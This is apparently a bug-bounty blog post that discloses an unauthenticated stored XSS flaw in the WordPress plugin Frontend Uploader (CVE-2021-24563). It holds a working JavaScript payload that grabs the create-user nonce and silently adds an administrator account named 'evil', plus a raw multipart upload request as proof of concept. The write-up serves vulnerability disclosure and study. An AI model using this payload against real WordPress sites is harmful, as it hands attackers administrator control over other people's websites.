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Greetings, Community!

In this article, I’ll describe how I discovered Unauthenticated Stored XSS on one of
WordPress’s plugins, which affected over 6K sites that used the vulnerable plugin,
and how I managed to exploit it.

How did it start?
So, for a few days, I was trying different WordPress plugins. My research led me to
“Frontend Uploader”, a plugin with over 6,000 active installations. After learning
about its features, I concluded that it was essentially a plugin that allowed visitors to
upload files. After learning about it, I created a test page containing the upload
form.
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Trying to upload a PHP file was next on my list, but I was unable to do it.

Because PHP files were not permitted, I decided to test using HTML files instead. I
created a simple XSS payload in an HTML file called test.html and included the
following code:

<script>alert(1337)</script>

…and indeed, it did! After then, the XSS was triggered while accessing the following
path.
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http://target.com/wp-content/uploads/2021/07/test.html

So, we’ve got our XSS now. But alerting 1 wasn’t any fun. I planned to use it to
highlight the vulnerability’s actual severity. How an attacker could take advantage of
the flaw.

Exploitation Part:
Our XSS is now ready to be used for further exploitation. We can control the victim’s
browser by uploading our malicious javascript code, which allows us to do whatever
the victim can do from his side.
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After that, I crafted a simple malicious javascript code to add a new user with
administrator permission:

<html>
<script>
function add admin user(token){
var URL = "http://target.com/wp-admin/user-new.php";
var postData = "action=createuser&_wp_http_referer=%2Fwp-
admin%2Fuser-
new.php&user_login=evil&email=test%40testing.com&first_name=test&las
t_name=test&url=&pass1=Test%401234&pass2=Test%401234&pw_weak=on&send
_user_notification=1&role=administrator&createuser=Add+New+User&_wpn
once_create-user=" + token;

var post= new XMLHttpRequest();
post.open('POST', URL , true);
post.withCredentials = 'true';
post.setRequestHeader('content-type','application/x-www-form-
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urlencoded');
post.send(postData);

}
var xhr= new XMLHttpRequest();
xhr.onreadystatechange = function (){

if (xhr.readyState == 4){
var htmlSource = xhr.responseText;
parser = new 

DOMParser().parseFromString(htmlSource, "text/html");
token = parser.getElementById('_wpnonce_create-

user').value;
addAdminUser(token);
}

}
xhr.open('Get','http://target.com/wp-admin/user-new.php', true);
xhr.send();
<script>
</html>

once the file has been uploaded as payload.html, After administrator visited the
following URL:

http://target.com/wp-content/uploads/2021/07/payload.html

The payload was executed, and a new user named “evil” was created with
administrator privileges.

This allowed us to access all functions with admin privileges by logging in as “evil”.
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That is all; This is how a simple unrestricted file upload vulnerability on Frontend
Uploader could lead to Stored XSS and allow attackers to add new users with
administrator permission.

Proof of Concept:
In a page/posts where the [fu-upload-form] shortcode is embed, simply upload an
HTML file via the generated form

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: 
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*
;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=------------------------
---124662954015823207281179831654
Content-Length: 1396
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="post_ID"

1247
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="post_title"

test
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="post_content"

test
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="files[]"; filename="xss.html"
Content-Type: text/html

<script>alert(/XSS/)</script>
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="action"

upload_ugc
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="form_layout"

image
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="fu_nonce"

021fb612f9
-----------------------------124662954015823207281179831654
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Content-Disposition: form-data; name="_wp_http_referer"

/wordpress/frontend-uploader-form/
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="ff"

92b6cbfa6120e13ff1654e28cef2a271
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="form_post_id"

1247
-----------------------------124662954015823207281179831654--

Then access the uploaded file to trigger the XSS, ie 
https://example.com/wp-content/uploads/2021/07/xss.html

If you didn’t understand what I wrote above, you may view the POC video below,
which I submitted to them when I filed the report.

Thank you for reading all the way to the end of the article. Many thanks to Abhiyan
Chettri for keeping me motivated and helping me out with exploits. If you have any
questions concerning this post, please feel free to ask. If you’d like to communicate
with me, you can find me on Twitter. That concludes the story of how my first CVE
got assigned.

Mitre:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24563
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Self XSS + Login CSRF + OAuth = Account Takeover
I recently submitted a report to a private program where I successfully chained the relatively
the innocuous vulnerabilities of a Login…
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New 100$ Bug in My Methodology!
Hello everyone! I’m Rem and I’m 23 years old. I’m here to describe my new bug. This bug is very
amazing to me and I think some people might…
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